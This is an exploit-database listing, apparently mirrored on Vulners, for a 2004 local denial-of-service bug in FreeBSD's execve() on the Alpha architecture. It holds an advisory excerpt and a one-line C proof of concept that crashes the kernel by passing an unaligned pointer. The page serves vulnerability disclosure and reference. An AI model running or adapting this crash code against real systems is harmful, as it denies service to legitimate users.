Lucene search
K

FreeBSD 4.10/5.x - 'execve()' Unaligned Memory Access Denial of Service

🗓️ 23 Jun 2004 00:00:00Reported by Marceta MilosType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

FreeBSD Alpha vulnerable to execve() denial of service from local user access.

Code
/*
source: https://www.securityfocus.com/bid/10596/info


It is reported that FreeBSD running on the Alpha architecture is susceptible to a denial of service vulnerability in its execve() system call.

An attacker with local interactive user-level access on an affected machine is reportedly able to crash FreeBSD when running on the Alpha architecture, denying service to legitimate users.

FreeBSD 5.1-RELEASE/Alpha is reported vulnerable, other architectures with strict memory alignment requirements are also likely vulnerable. IA32 is reported immune. Versions other than 5.1-RELEASE are likely affected as well. 
*/

/*
 * FreeBSD/Alpha local DoS
 *    by Marceta Milos
 *    [email protected]
 *
 */

char main() { execve("/bin/ls",(int *)(main + 1), 0); }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jun 2004 00:00Current
7.4High risk
Vulners AI Score7.4
22